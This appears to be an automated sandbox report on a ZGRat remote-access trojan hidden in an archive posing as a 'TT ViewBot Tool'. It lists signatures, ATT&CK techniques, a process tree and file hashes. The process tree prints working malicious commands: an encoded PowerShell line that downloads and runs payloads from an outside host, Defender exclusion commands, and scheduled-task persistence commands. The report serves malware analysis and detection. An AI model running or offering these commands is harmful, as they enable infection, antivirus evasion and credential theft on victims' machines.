zgrat | 0aa3a8f7bd8f94484b0435e72e292744161b0707186f94845b7b6b54ac8f874d

Analysis

max time kernel
133s
max time network
134s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
07-05-2024 04:28

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General

Target

TT ViewBot Tool.rar
Size

2.5MB
MD5

2d8e0aacc4d03e584d72dab765035fe3
SHA1

9e8873ee30ef69abb762781db025ecee0d6be817
SHA256

0aa3a8f7bd8f94484b0435e72e292744161b0707186f94845b7b6b54ac8f874d
SHA512

366a66c845b7a24da8416a4765f11e511fd8dc526e083190dfa5bc8a874f71d5cb155da72aae01d5173b4136e1ad41afd9a5e8437264c4c5c097442fef3298df
SSDEEP

49152:8lV1gGgvC7f0OoqKFKdoOyO29o4wZzboGJDY8BtKr:moGhocdxyDo9boGi2O

Score

10^/10

zgrat execution rat spyware stealer

Malware Config

Signatures

Detect ZGRat V1 4 IoCs

resource	yara_rule
behavioral1/files/0x000700000001418c-110.dat	family_zgrat_v1
behavioral1/files/0x0009000000014a60-124.dat	family_zgrat_v1
behavioral1/memory/1008-128-0x0000000000290000-0x0000000000496000-memory.dmp	family_zgrat_v1
behavioral1/memory/2080-183-0x0000000000F50000-0x0000000001156000-memory.dmp	family_zgrat_v1

Process spawned unexpected child process 15 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	864	2196	schtasks.exe	43
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	568	2196	schtasks.exe	43
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3044	2196	schtasks.exe	43
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1524	2196	schtasks.exe	43
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1528	2196	schtasks.exe	43
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1680	2196	schtasks.exe	43
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2372	2196	schtasks.exe	43
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2304	2196	schtasks.exe	43
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1620	2196	schtasks.exe	43
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2540	2196	schtasks.exe	43
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2736	2196	schtasks.exe	43
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2568	2196	schtasks.exe	43
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1228	2196	schtasks.exe	43
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2612	2196	schtasks.exe	43
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1416	2196	schtasks.exe	43

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2504	powershell.exe
7	2504	powershell.exe
9	2504	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2504	powershell.exe
2168	powershell.exe
2728	powershell.exe
2720	powershell.exe
2880	powershell.exe
2468	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 4 IoCs

pid	Process
2716	bot_start.exe
2520	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
2080	WmiPrvSE.exe

Loads dropped DLL 3 IoCs

pid	Process
2504	powershell.exe
600	cmd.exe
600	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2716	bot_start.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\BitLockerDiscoveryVolumeContents\csrss.exe	tthyperRuntimedhcpSvc.exe
File created	C:\Windows\BitLockerDiscoveryVolumeContents\886983d96e3d3e	tthyperRuntimedhcpSvc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 15 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
864	schtasks.exe
568	schtasks.exe
3044	schtasks.exe
1528	schtasks.exe
1620	schtasks.exe
2736	schtasks.exe
2612	schtasks.exe
2540	schtasks.exe
1680	schtasks.exe
2372	schtasks.exe
1228	schtasks.exe
1416	schtasks.exe
1524	schtasks.exe
2304	schtasks.exe
2568	schtasks.exe

Modifies registry class 9 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\py_auto_file\shell\Read\command\ = "\"C:\\Program Files (x86)\\Adobe\\Reader 9.0\\Reader\\AcroRd32.exe\" \"%1\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\py_auto_file	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\.py	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\.py\ = "py_auto_file"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\py_auto_file\shell\Read	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\py_auto_file\shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\py_auto_file\shell\Read\command	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_Classes\Local Settings	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\py_auto_file\	rundll32.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2776	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2588	7zFM.exe
2504	powershell.exe
2504	powershell.exe
2504	powershell.exe
2504	powershell.exe
2504	powershell.exe
2588	7zFM.exe
2588	7zFM.exe
2588	7zFM.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe
1008	tthyperRuntimedhcpSvc.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2588	7zFM.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeRestorePrivilege	2588	7zFM.exe
Token: 35	2588	7zFM.exe
Token: SeSecurityPrivilege	2588	7zFM.exe
Token: SeDebugPrivilege	2504	powershell.exe
Token: SeDebugPrivilege	1008	tthyperRuntimedhcpSvc.exe
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	2720	powershell.exe
Token: SeDebugPrivilege	2168	powershell.exe
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	2080	WmiPrvSE.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2588	7zFM.exe
2588	7zFM.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2716	bot_start.exe
2480	AcroRd32.exe
2480	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2292 wrote to memory of 2588	2292	cmd.exe	29
PID 2292 wrote to memory of 2588	2292	cmd.exe	29
PID 2292 wrote to memory of 2588	2292	cmd.exe	29
PID 2588 wrote to memory of 2716	2588	7zFM.exe	30
PID 2588 wrote to memory of 2716	2588	7zFM.exe	30
PID 2588 wrote to memory of 2716	2588	7zFM.exe	30
PID 2588 wrote to memory of 2716	2588	7zFM.exe	30
PID 2716 wrote to memory of 2504	2716	bot_start.exe	31
PID 2716 wrote to memory of 2504	2716	bot_start.exe	31
PID 2716 wrote to memory of 2504	2716	bot_start.exe	31
PID 2716 wrote to memory of 2504	2716	bot_start.exe	31
PID 2504 wrote to memory of 2520	2504	powershell.exe	33
PID 2504 wrote to memory of 2520	2504	powershell.exe	33
PID 2504 wrote to memory of 2520	2504	powershell.exe	33
PID 2504 wrote to memory of 2520	2504	powershell.exe	33
PID 2504 wrote to memory of 2980	2504	powershell.exe	34
PID 2504 wrote to memory of 2980	2504	powershell.exe	34
PID 2504 wrote to memory of 2980	2504	powershell.exe	34
PID 2504 wrote to memory of 2980	2504	powershell.exe	34
PID 2504 wrote to memory of 2980	2504	powershell.exe	34
PID 2504 wrote to memory of 2980	2504	powershell.exe	34
PID 2504 wrote to memory of 2980	2504	powershell.exe	34
PID 2520 wrote to memory of 1548	2520	tthyperRuntimedhcpSvc.exe	35
PID 2520 wrote to memory of 1548	2520	tthyperRuntimedhcpSvc.exe	35
PID 2520 wrote to memory of 1548	2520	tthyperRuntimedhcpSvc.exe	35
PID 2520 wrote to memory of 1548	2520	tthyperRuntimedhcpSvc.exe	35
PID 1548 wrote to memory of 600	1548	WScript.exe	38
PID 1548 wrote to memory of 600	1548	WScript.exe	38
PID 1548 wrote to memory of 600	1548	WScript.exe	38
PID 1548 wrote to memory of 600	1548	WScript.exe	38
PID 600 wrote to memory of 1008	600	cmd.exe	41
PID 600 wrote to memory of 1008	600	cmd.exe	41
PID 600 wrote to memory of 1008	600	cmd.exe	41
PID 600 wrote to memory of 1008	600	cmd.exe	41
PID 1008 wrote to memory of 2880	1008	tthyperRuntimedhcpSvc.exe	59
PID 1008 wrote to memory of 2880	1008	tthyperRuntimedhcpSvc.exe	59
PID 1008 wrote to memory of 2880	1008	tthyperRuntimedhcpSvc.exe	59
PID 1008 wrote to memory of 2468	1008	tthyperRuntimedhcpSvc.exe	60
PID 1008 wrote to memory of 2468	1008	tthyperRuntimedhcpSvc.exe	60
PID 1008 wrote to memory of 2468	1008	tthyperRuntimedhcpSvc.exe	60
PID 1008 wrote to memory of 2168	1008	tthyperRuntimedhcpSvc.exe	61
PID 1008 wrote to memory of 2168	1008	tthyperRuntimedhcpSvc.exe	61
PID 1008 wrote to memory of 2168	1008	tthyperRuntimedhcpSvc.exe	61
PID 1008 wrote to memory of 2728	1008	tthyperRuntimedhcpSvc.exe	64
PID 1008 wrote to memory of 2728	1008	tthyperRuntimedhcpSvc.exe	64
PID 1008 wrote to memory of 2728	1008	tthyperRuntimedhcpSvc.exe	64
PID 1008 wrote to memory of 2720	1008	tthyperRuntimedhcpSvc.exe	65
PID 1008 wrote to memory of 2720	1008	tthyperRuntimedhcpSvc.exe	65
PID 1008 wrote to memory of 2720	1008	tthyperRuntimedhcpSvc.exe	65
PID 1008 wrote to memory of 2448	1008	tthyperRuntimedhcpSvc.exe	69
PID 1008 wrote to memory of 2448	1008	tthyperRuntimedhcpSvc.exe	69
PID 1008 wrote to memory of 2448	1008	tthyperRuntimedhcpSvc.exe	69
PID 2448 wrote to memory of 776	2448	cmd.exe	71
PID 2448 wrote to memory of 776	2448	cmd.exe	71
PID 2448 wrote to memory of 776	2448	cmd.exe	71
PID 2448 wrote to memory of 2776	2448	cmd.exe	72
PID 2448 wrote to memory of 2776	2448	cmd.exe	72
PID 2448 wrote to memory of 2776	2448	cmd.exe	72
PID 2980 wrote to memory of 2480	2980	rundll32.exe	73
PID 2980 wrote to memory of 2480	2980	rundll32.exe	73
PID 2980 wrote to memory of 2480	2980	rundll32.exe	73
PID 2980 wrote to memory of 2480	2980	rundll32.exe	73
PID 2448 wrote to memory of 2080	2448	cmd.exe	75
PID 2448 wrote to memory of 2080	2448	cmd.exe	75

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\TT ViewBot Tool.rar"
1⤵
- Suspicious use of WriteProcessMemory
PID:2292
- C:\Program Files\7-Zip\7zFM.exe
  "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\TT ViewBot Tool.rar"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Users\Admin\AppData\Local\Temp\7zOC1A11366\bot_start.exe
    "C:\Users\Admin\AppData\Local\Temp\7zOC1A11366\bot_start.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2716
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAeQBkACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcQBkAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbgBuAHQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAawBqAHYAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwByAGUAbQBvAHQAZQAvAHQAdABoAHkAcABlAHIAUgB1AG4AdABpAG0AZQBkAGgAYwBwAFMAdgBjAC4AZQB4AGUAJwAsACAAPAAjAGoAdABpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAegB2AGgAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcABtAGEAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAdAB0AGgAeQBwAGUAcgBSAHUAbgB0AGkAbQBlAGQAaABjAHAAUwB2AGMALgBlAHgAZQAnACkAKQA8ACMAZAB1AGEAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBvAG8AawByAGUAYQBkAGkAbgBnADIAMAAyADQALgBuAGUAdAAvAGMAbAAvAG0AYQBpAG4ALgBwAHkAJwAsACAAPAAjAHgAaAB1ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAYwB1AGUAIwA+ACAALQBQAGEAdABoACAAKAAkAHAAdwBkACkALgBwAGEAdABoACAAPAAjAHUAaQBlACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG0AYQBpAG4ALgBwAHkAJwApACkAPAAjAGEAYQBqACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGUAawBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBjAGEAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwB0AHQAaAB5AHAAZQByAFIAdQBuAHQAaQBtAGUAZABoAGMAcABTAHYAYwAuAGUAeABlACcAKQA8ACMAZQB0AGYAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAcAB4AGsAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACgAJABwAHcAZAApAC4AcABhAHQAaAAgADwAIwB4AHYAeAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBtAGEAaQBuAC4AcAB5ACcAKQA8ACMAYwB1AGwAIwA+AA=="
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2504
    - - C:\Users\Admin\AppData\Roaming\tthyperRuntimedhcpSvc.exe
        
        "C:\Users\Admin\AppData\Roaming\tthyperRuntimedhcpSvc.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2520
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ChainReview\vN2WLFOsikyY5Jq7XrHIwXoKGZgWET9I.vbe"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1548
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\ChainReview\36Xky7wXbnjE3BIjQdUmzIM.bat" "
        7⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:600
        
        C:\ChainReview\tthyperRuntimedhcpSvc.exe
        
        "C:\ChainReview/tthyperRuntimedhcpSvc.exe"
        8⤵
        Executes dropped EXE
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1008
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\rundll32.exe'
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2880
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\BitLockerDiscoveryVolumeContents\csrss.exe'
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2468
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\84917bc2-d02e-11ee-b7c7-ea6b8212ffd3\explorer.exe'
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2168
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\conhost.exe'
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2728
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\WmiPrvSE.exe'
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2720
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\5u0vhjw7EP.bat"
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:2448
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        10⤵
        
        PID:776
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        10⤵
        Runs ping.exe
        
        PID:2776
        
        C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\WmiPrvSE.exe
        
        "C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\WmiPrvSE.exe"
        10⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2080
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\7zOC1A11366\main.py
        5⤵
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:2980
      - C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
        
        "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\7zOC1A11366\main.py"
        6⤵
        Suspicious use of SetWindowsHookEx
        
        PID:2480

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:2328

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "rundll32r" /sc MINUTE /mo 11 /tr "'C:\MSOCache\All Users\rundll32.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:864

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "rundll32" /sc ONLOGON /tr "'C:\MSOCache\All Users\rundll32.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "rundll32r" /sc MINUTE /mo 14 /tr "'C:\MSOCache\All Users\rundll32.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3044

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 10 /tr "'C:\Windows\BitLockerDiscoveryVolumeContents\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1524

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Windows\BitLockerDiscoveryVolumeContents\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1528

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Windows\BitLockerDiscoveryVolumeContents\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1680

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\Recovery\84917bc2-d02e-11ee-b7c7-ea6b8212ffd3\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2372

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Recovery\84917bc2-d02e-11ee-b7c7-ea6b8212ffd3\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 5 /tr "'C:\Recovery\84917bc2-d02e-11ee-b7c7-ea6b8212ffd3\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1620

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2540

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2736

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 8 /tr "'C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\WmiPrvSE.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1228

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ChainReview\36Xky7wXbnjE3BIjQdUmzIM.bat

Filesize
91B

MD5
6c4e82d40f84cbc9a6fec4a5a981a42d

SHA1
b9b43a7e2f9f4ad4767974bf4304a9e2a044fca3

SHA256
78d5a5d4618dce787ecc963e5f499af55e8c733b28842311f59d4f385ec42d5b

SHA512
262c93cb040935bd1f3b7ef8140e6ac322a9601ebb0004b5da24edea0b268db6b178f1d3c5d62c6e95b717603a3d29a00c56f90c8c3479b98335617e42700842

Download Submit
C:\ChainReview\vN2WLFOsikyY5Jq7XrHIwXoKGZgWET9I.vbe

Filesize
212B

MD5
43e82435c4abdf7a34d3f8ac5c575deb

SHA1
6d41a829dc856e7d911e8a95e8a4c7463cf18043

SHA256
1a8093c1223cfab24ebb1185ee1e5ac65909caf9ee9d5d6dc600c82a5d040acf

SHA512
e05cd9e7d232e452cc337335603864368ec042a7f6e322a4d76eb62ada78fca956a17a93d97c86b859e2114f8b2d6d2a0cb60190b8dad6797a62c31d92e6037f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
315d3cc311f606da694c963e8da90319

SHA1
35ba394298a9d79a8eda090938e6aaaf0bf3a487

SHA256
